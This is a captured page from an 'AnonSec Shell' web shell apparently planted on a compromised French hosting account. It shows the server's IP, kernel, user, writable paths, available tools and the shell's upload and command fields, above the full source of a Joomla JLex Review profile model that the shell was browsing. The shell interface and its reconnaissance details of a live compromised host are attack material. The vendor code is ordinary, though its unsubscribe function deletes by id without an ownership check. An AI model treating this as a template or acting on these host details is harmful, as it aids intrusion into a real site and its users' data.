AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/annonces/components/com_jlexreview/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/annonces/components/com_jlexreview/models/profile.php
<?php
/**
 * @package		JLex Review
 * @version		4.2.3
 * @copyright	Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license		GNU General Public License version 2 or later;
 * @author		www.jlexart.com
 */

defined ( "_JEXEC" ) or die;

class JLexReviewModelProfile extends JModelLegacy
{
	public $uid 	= 0;

	public $filter 	= "all";

	public $sort 	= "desc";

	public $offset 	= 0;

	public $limit 	= 20;

	public function getActivities()
	{
		$return = new stdClass();
		$return->offset = $this->offset;
		$return->total  = 0;
		$return->activities = null;

		$config = JLexReviewHelperAdmin::getConfig();
		$user 	= JFactory::getUser();
		$owner 	= $user->id==$this->uid;
		$this->limit 	= $config->get("act_limit",20)*1;
		$return->limit 	= $this->limit;

		if ($this->uid < 1)
		{
			$this->setError("User not found.");
			return false;
		}

		$jlexcomment = false;
		$jlexcomment_path = JPATH_ROOT . "/components/com_jlexcomment/jlexcomment.php";

		if ($config->get("profile_jcm",0)==1 && file_exists($jlexcomment_path))
		{
			$jlexcomment = true;
		}

		$query  = $this->_db->getQuery(true);
		if ($this->filter=="review")
		{
			$query->select("SQL_CALC_FOUND_ROWS act.id,act.entry_id,act.title AS caption,act.created,act.voting,act.rating, 0 AS review_id, 1 AS rtype")
				  ->from("#__jlexreview AS act")
				  ->where("act.created_by=" . $this->uid);

			if (!$owner)
			{
				$query->where("act.published=1");
			}

			$jlexcomment = false;

		} elseif ($this->filter=="cm") {
			if (!$jlexcomment)
			{
				$query->select("SQL_CALC_FOUND_ROWS act.id,act.entry_id,act.comment AS caption,act.created,0 AS voting, 0 AS rating, act.review_id, 0 AS rtype")
					  ->from("#__jlexreview_cm AS act")
					  ->where("act.created_by=" . $this->uid);

				if (!$owner)
				{
					$query->where("act.published=1");
				}
			} else {
				$subTable = "(";
					// comment of JLex Review
					$subTable .= "\nSELECT cm1.id,cm1.entry_id,cm1.comment AS caption,cm1.created,0 AS voting, 0 AS rating,cm1.review_id, 0 AS rtype,cm1.object_name,cm1.url,cm1.object,cm1.object_id FROM (";
							$subTable .= "SELECT cm.*, item.object_name, item.url, item.object, item.object_id FROM #__jlexreview_cm AS cm";
							$subTable .= "\nLEFT JOIN #__jlexreview_entry AS item ON item.id=cm.entry_id";
							$subTable .= "\nWHERE item.id IS NOT NULL AND item.published=1 AND cm.created_by=" . $this->uid . ($owner?'':' AND cm.published=1');
						$subTable .= ") cm1";

					$subTable .= "\nUNION ALL";

					// comment of JLex Comment
					$subTable .= "\nSELECT cm2.id,cm2.obj_id entry_id,cm2.comment AS caption,cm2.created_time created,0 AS voting,0 AS rating,0 review_id,0 AS rtype,cm2.object_name,cm2.url,cm2.object,cm2.object_id FROM (";
							$subTable .= "SELECT cm.*, item.title AS object_name, item.url, item.com_name AS object, item.com_key AS object_id FROM #__jlexcomment AS cm";
							$subTable .= "\nLEFT JOIN #__jlexcomment_obj AS item ON item.id=cm.obj_id";
							$subTable .= "\nWHERE item.id IS NOT NULL AND item.published=1 AND cm.created_by=" . $this->uid . ($owner?'':' AND cm.published=1');
						$subTable .= ") cm2";
					
				$subTable.= ")";
			
		        $query->select("SQL_CALC_FOUND_ROWS act.*")
		              ->from("{$subTable} AS act");
			}
		} else {
			if (!$jlexcomment)
			{
				$subTable = "(";
					$subTable .= "\nSELECT id,entry_id,title AS caption,created,voting,rating, 0 AS review_id, 1 AS rtype FROM #__jlexreview WHERE created_by=" . $this->uid . ($owner?'':' AND published=1');
					$subTable .= "\nUNION ALL";
					$subTable .= "\nSELECT id,entry_id,comment AS caption,created,0 AS voting, 0 AS rating, review_id, 0 AS rtype FROM #__jlexreview_cm WHERE created_by=" . $this->uid . ($owner?'':' AND published=1');
				$subTable.= ")";
			} else {
				$subTable = "(";
					// review of JLex Review
					$subTable .= "\nSELECT r.id,r.entry_id,r.title AS caption,r.created,r.voting,r.rating,0 AS review_id, 1 AS rtype,r.object_name,r.url,r.object,r.object_id FROM (";
							$subTable .= "SELECT r.*, item.object_name, item.url,item.object,item.object_id FROM #__jlexreview AS r";
							$subTable .= "\nLEFT JOIN #__jlexreview_entry AS item ON item.id=r.entry_id";
							$subTable .= "\nWHERE item.id IS NOT NULL AND item.published=1 AND r.created_by=" . $this->uid . ($owner?'':' AND r.published=1');
						$subTable .= ") r";

					$subTable .= "\nUNION ALL";

					// comment of JLex Review
					$subTable .= "\nSELECT cm1.id,cm1.entry_id,cm1.comment AS caption,cm1.created,0 AS voting, 0 AS rating,cm1.review_id, 0 AS rtype,cm1.object_name,cm1.url,cm1.object,cm1.object_id FROM (";
							$subTable .= "SELECT cm.*, item.object_name, item.url,item.object,item.object_id FROM #__jlexreview_cm AS cm";
							$subTable .= "\nLEFT JOIN #__jlexreview_entry AS item ON item.id=cm.entry_id";
							$subTable .= "\nWHERE item.id IS NOT NULL AND item.published=1 AND cm.created_by=" . $this->uid . ($owner?'':' AND cm.published=1');
						$subTable .= ") cm1";

					$subTable .= "\nUNION ALL";

					// comment of JLex Comment
					$subTable .= "\nSELECT cm2.id,cm2.obj_id entry_id,cm2.comment AS caption,cm2.created_time created,0 AS voting,0 AS rating,0 review_id,0 AS rtype,cm2.object_name,cm2.url,cm2.object,cm2.object_id FROM (";
							$subTable .= "SELECT cm.*, item.title AS object_name, item.url,item.com_name AS object, item.com_key AS object_id FROM #__jlexcomment AS cm";
							$subTable .= "\nLEFT JOIN #__jlexcomment_obj AS item ON item.id=cm.obj_id";
							$subTable .= "\nWHERE item.id IS NOT NULL AND item.published=1 AND cm.created_by=" . $this->uid . ($owner?'':' AND cm.published=1');
						$subTable .= ") cm2";
					
				$subTable.= ")";
			}
			
	        $query->select("SQL_CALC_FOUND_ROWS act.*")
	              ->from("{$subTable} AS act");
		}

		if (!$jlexcomment)
		{
			$query->select("item.object_name, item.url, item.object, item.object_id")
			  ->leftJoin("#__jlexreview_entry AS item ON item.id=act.entry_id")
			  ->where("item.id IS NOT NULL AND item.published=1");
		}

		$query->order( "act.created " . $this->sort);

        $return->activities = $this->_db->setQuery($query,$this->offset,$this->limit)->loadObjectList();
        $return->total = (int) $this->_db->setQuery("SELECT FOUND_ROWS()")->loadResult();

        if ($return->activities)
        {
        	foreach ($return->activities as $k=>&$item)
        	{
        		// date
	            $format_date = $config->get("review_date_format","default")=="default" ? null : $config->get("review_date_format");
	            $item->date_format = JLexReviewHelperSite::formatTime ($item->created, null, $format_date);

	            $item->caption = JLexReviewHelperAdmin::subwords($item->caption, 20);
	            
	            if ($config->get("link_type",0)=="1")
	            {
	            	$up = JLexReviewHelperAdmin::getItemDetail($item->object, $item->object_id, $item->object_name, $item->url);
	            	$item->url    = str_replace(JUri::root(true), '', $up->url);
            		$item->object_name = $up->title;
	            }

	            $item->url = trim($item->url, '/');
	            $item->url = preg_match('/^https?:\/\//', $item->url) ? $item->url : JUri::root(true) . '/' . $item->url;

	            if ($item->rtype==0)
	            {
	            	if ($item->review_id>0)
	            	{
	            		$item->url.= (preg_match("/\?/", $item->url) ? "&" : "?") . "review_id=" . $item->review_id . "," . $item->id;
	            	} else {
	            		$item->url.= (preg_match("/\?/", $item->url) ? "&" : "?") . "comment_id=" . $item->id;
	            	}
	            } else {
	            	if ($item->voting==0 || ($item->voting==1 && $config->get("vote_as_review",0)==1))
	            	{
	            		$item->url.= (preg_match("/\?/", $item->url) ? "&" : "?") . "review_id=" . $item->id;
	            	}
	            }
        	}
        }

        return $return;
	}


	public function others()
	{
		$config = JLexReviewHelperAdmin::getConfig();
		$user 	= JFactory::getUser();
		$query 	= $this->_db->getQuery(true);

		$return = new stdClass();
		$return->count_follow 	= 0;
		$return->isfollowing 	= false;
		$return->urlprofile  	= JRoute::_("index.php?option=com_users&view=profile&layout=edit",false);
		
		if ($config->get("enable_following",0)==1)
		{
			$query->select("COUNT(*)")
				  ->from("#__jlexreview_subscribe")
				  ->where(array(
				  		"sub_value=" . $this->_db->quote($this->uid),
				  		"sub_type=0"
				  	));

			$count = $this->_db->setQuery($query)->loadResult();
			$return->count_follow = !$count ? 0 : intval($count);

			if ($user->id>0)
			{
				$query->clear()
					  ->select("COUNT(*)")
					  ->from("#__jlexreview_subscribe")
					  ->where(array(
					  		"sub_value=" . $this->_db->quote($this->uid),
					  		"userid=" . $user->id,
					  		"sub_type=0"
					  	));

				$return->isfollowing = $this->_db->setQuery($query)->loadResult() > 0 ? true:false;
			}
		}


		/* Ranking part */
		$return->rank = 0;
		$return->rankUrl = '';

		if ($config->get("ranking_page",1)==1)
		{
			$rating_point 	= $config->get("ranking_rating_point", 10)*1;
			$cm_point 		= $config->get("ranking_cm_point", 5)*1;
			$helpful_point 	= $config->get("ranking_helpful_point", 1)*1;
			$ranking_limit 	= $config->get("ranking_page_limit",20)*1;

			$subQuery = "
	            SELECT r.id, 
	                   r.position,
	                   r.total_point
	              FROM (SELECT t.id,
	                           @rownum := @rownum + 1 AS position,
	                           t.total_point
	                      FROM (
	                      		SELECT u.id, (ju.count_rating*{$rating_point}+ju.count_cm*{$cm_point}+ju.count_helpful*{$helpful_point}) AS total_point 
	                      		FROM #__users u 
	                      		LEFT JOIN #__jlexreview_users AS ju ON ju.userid=u.id 
	                      		WHERE u.block=0 
	                      		ORDER BY total_point DESC, u.id ASC
	                      	) t
	                      JOIN (SELECT @rownum := 0) r
	                  ) r
	             WHERE r.id = {$this->uid}
	        ";

			$result = $this->_db->setQuery($subQuery,0,1)->loadObject();

			if ($result)
			{
				$return->rank  	= $result->position*1;
				$rankingOffset 	= intval(($result->position-1)/$ranking_limit)*$ranking_limit;
				$return->rankUrl = JLexReviewHelperSite::route("index.php?option=com_jlexreview&view=ranking" . ($rankingOffset>0 ? "&start=" . $rankingOffset : ""));
			}
		}

		return $return;
	}


	public $id = 0;

	public function subscribe( $type=0 )
	{
		$app 	= JFactory::getApplication();
		$user 	= JFactory::getUser();
		$now 	= JFactory::getDate()->toSql();

		$sub_value = $this->id;

		if ($sub_value < 1)
		{
			$this->setError( JText::_("JR_THE_ITEM_NOT_FOUND") );
			return false;
		}


		$data = array(
				"sub_type" 	=> $type,
				"sub_value" => $sub_value,
				"created" 	=> $now,
				"point_created" => $now
			);

		if ($user->guest)
		{
			$data ["guest_name"]  = $app->input->getString("name","");
			$data ["guest_email"] = $app->input->getString("email","");
		} else {
			$data ["userid"] = $user->id;
		}

		$row = $this->getTable("Subscribe", "TableJR");
		$row->bind($data);

		if (!$row->check())
		{
			$this->setError( $row->getError() );
			return false;
		}

		// check if the user subscribed
		$query = $this->_db->getQuery(true);
		$query->select("id")
			  ->from("#__jlexreview_subscribe")
			  ->where(array(
			  		"sub_value=" . $sub_value,
			  		"sub_type=" . $type
			  	));

		if ($user->id>0)
		{
			$query->where("userid=" . $user->id);
		} else {
			$query->where("guest_email=" . $this->_db->quote($row->guest_email));
		}

		$result = $this->_db->setQuery($query)->loadResult();
		if ($result>0)
		{
			return $result;
		}

		if (!$row->store())
		{
			$this->setError( "An error appear while saving data");
			return false;
		}

		return $row->id;
	}

	public function unsubscribe()
	{
		$user = JFactory::getUser();

		if ($this->id < 1)
		{
			$this->setError( JText::_("JR_THE_ITEM_NOT_FOUND") );
			return false;
		}

		$query = "DELETE FROM #__jlexreview_subscribe WHERE id=".$this->_db->quote($this->id);
		$this->_db->setQuery($query)->execute();

		return true;
	}

	public function login()
	{
		$app = JFactory::getApplication ();
		$post = $app->input->post;
		
		if ( preg_match ("/^\s*$/", $post->getUsername ( 'username' )) || $post->getString ( 'password' ) == '')
		{
			$this->setError ( JText::_("JR_ALL_FIELDS_ARE_REQUIRED") );
			return false;
		}
		
		$credentials ['username'] = $post->getUsername ( 'username' );
		$credentials ['password'] = $post->getString ( 'password' );
		
		$option = array (
				'remember' => $post->getBool ('remember',false)
		);
		
		$result = $app->login ( $credentials, $option );
		
		if (! $result)
		{
			$this->setError ( JText::_("JR_USERNAME_PW_INCORRECT") );
			return false;
		}

		return true;
	}


	public $unread = 0;

	public function getAlerts()
	{
		$return = new stdClass();
		$return->offset = $this->offset;
		$return->total  = 0;
		$return->limit 	= $this->limit;
		$return->alerts = null;

		$config = JLexReviewHelperAdmin::getConfig();
		$user 	= JFactory::getUser();

		if ($user->guest)
		{
			return $return;
		}

		$table = "(SELECT * FROM #__jlexreview_notification WHERE user_remind=" . $user->id;
			$table.= " AND published=1";
			if ($this->unread==1)
			{
				$table.= " AND unread=1";
			}
			$table.= " GROUP BY CONCAT(entry_id,'-',action_type,'-',unread,'-',created_by,'-',DATE_FORMAT(created_time,'%m-%d-%Y')))";

		$query  = $this->_db->getQuery(true);
		$query->select("SQL_CALC_FOUND_ROWS a.*")
			  ->select("IF(a.created_by>0,u.username,a.guest_name) author_first")
			  ->select("COUNT(a.id) count_author")
			  ->from("{$table} AS a")
			  ->leftJoin("#__users AS u ON u.id=a.created_by");

		// group
		$query->group("CONCAT(a.entry_id,'-',a.action_type,'-',a.unread,'-',DATE_FORMAT(a.created_time,'%m-%d-%Y'))")
			  ->order("a.unread DESC,a.created_time DESC");

		$query->select("item.object_name, item.url, item.object, item.object_id")
			  ->leftJoin("#__jlexreview_entry AS item ON item.id=a.entry_id")
			  ->where(array(
			  		"item.id IS NOT NULL",
			  		"item.published=1"
			  	));

        $return->alerts = $this->_db->setQuery($query,$this->offset,$this->limit)->loadObjectList();
        $return->total 	= (int) $this->_db->setQuery("SELECT FOUND_ROWS()")->loadResult();

        $userProfile  = JLexReviewHelperSite::getProfile();

        if ($return->alerts)
        {
        	foreach ($return->alerts as $k=>&$item)
        	{
        		$author = $userProfile->getUser($item->created_by, '', $item->author_first);
        		$action = $item->action_type=="CM_REVIEW" ? JText::_("JR_COMMENT_YOUR_REVIEW") : JText::_("JR_REPLY_YOUR_COMMENT");
        		
        		// date
	            $format_date = $config->get("review_date_format","default")=="default" ? null : $config->get("review_date_format");
	            $item->date_format = JLexReviewHelperSite::formatTime ($item->created_time, null, $format_date);

	            if ($config->get("link_type",0)=="1")
	            {
	            	$up = JLexReviewHelperAdmin::getItemDetail($item->object, $item->object_id, $item->object_name, $item->url);
	            	$item->url    = str_replace(JUri::root(true), '', $up->url);
            		$item->object_name = $up->title;
	            }

	            $item->url = trim($item->url, '/');
	            $item->url = preg_match('/^https?:\/\//', $item->url) ? $item->url : JUri::root(true) . '/' . $item->url;
	            $item->url.= (preg_match("/\?/", $item->url) ? "&" : "?") . "review_id=" . $item->type_id;

	            if ($item->count_author<=1)
	            {
	            	$item->caption = JText::sprintf("JR_ALERT_USER_ACTION", $author->get('jname'), $action, "<b>" . $item->object_name."</b>");
	            } else {
	            	$item->caption = JText::sprintf("JR_ALERT_USERS_ACTION", $author->get('jname'), ($item->count_author-1), $action, "<b>" . $item->object_name."</b>");
	            }

	            unset($item->entry_id);
	            unset($item->type_id);
	            unset($item->action_type);
	            unset($item->user_remind);
	            unset($item->guest_name);
	            unset($item->created_by);
	            unset($item->sent);
        	}
        }

        return $return;
	}

	public function setRead()
	{
		$app  = JFactory::getApplication();
		$user = JFactory::getUser();
		$all  = $app->input->getBool("all", false);
		$cid  = $app->input->get("cid", null, "array");

		if ($user->guest)
		{
			return false;
		}

		if ($all)
		{
			$query = "UPDATE #__jlexreview_notification SET unread=0 WHERE user_remind=" . $user->id . " AND published=1";
		} else {
			if (!$cid || !count($cid) || !is_array($cid))
			{
				return false;
			}

			$cid_filter = array();
			foreach ($cid as $k=>$number)
			{
				if (is_numeric($number) && $number>0)
				{
					$cid_filter[] = intval($number);
				}
			}

			if (!count($cid_filter))
			{
				return false;
			}
			$query = "UPDATE #__jlexreview_notification SET unread=0 WHERE user_remind=" . $user->id;
				$query.= " AND published=1 AND id IN(" . implode(",", $cid_filter) . ")";
		}

		$this->_db->setQuery($query)->execute();
		return true;
	}
}

Anon7 - 2022
AnonSec Team